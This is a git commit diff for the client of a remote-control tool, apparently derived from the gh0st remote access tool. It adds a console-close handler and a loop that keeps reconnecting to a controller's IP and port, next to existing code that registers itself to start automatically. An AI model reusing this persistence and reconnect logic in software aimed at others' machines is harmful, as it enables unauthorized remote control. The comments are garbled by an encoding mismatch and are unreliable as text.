区分开退出主控端和被控端2个消息
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。 明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。
This commit is contained in:
@@ -12,6 +12,11 @@ StopRun stop = NULL;
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
IsStoped bStop = NULL;
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
IsStoped bExit = NULL;
|
||||
|
||||
BOOL status = 0;
|
||||
|
||||
struct CONNECT_ADDRESS
|
||||
{
|
||||
DWORD dwFlag;
|
||||
@@ -50,12 +55,26 @@ BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
{
|
||||
status = 1;
|
||||
if(stop) stop();
|
||||
while(1==status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
if(!SetSelfStart(argv[0], "a_ghost"))
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n";
|
||||
}
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
char path[_MAX_PATH], *p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
@@ -66,6 +85,7 @@ int main(int argc, const char *argv[])
|
||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
if (run)
|
||||
{
|
||||
char *ip = g_ConnectAddress.szServerIP;
|
||||
@@ -77,12 +97,13 @@ int main(int argc, const char *argv[])
|
||||
port = GetPrivateProfileIntA("remote", "port", 2356, path);
|
||||
}
|
||||
printf("[remote] %s:%d\n", ip, port);
|
||||
run(ip, port);
|
||||
#ifdef _DEBUG
|
||||
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } }
|
||||
if (stop) stop();
|
||||
while(bStop && !bStop()) Sleep(200);
|
||||
#endif
|
||||
do
|
||||
{
|
||||
run(ip, port);
|
||||
while(bStop && !bStop() && 0 == status)
|
||||
Sleep(20);
|
||||
} while (bExit && !bExit() && 0 == status);
|
||||
}
|
||||
status = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user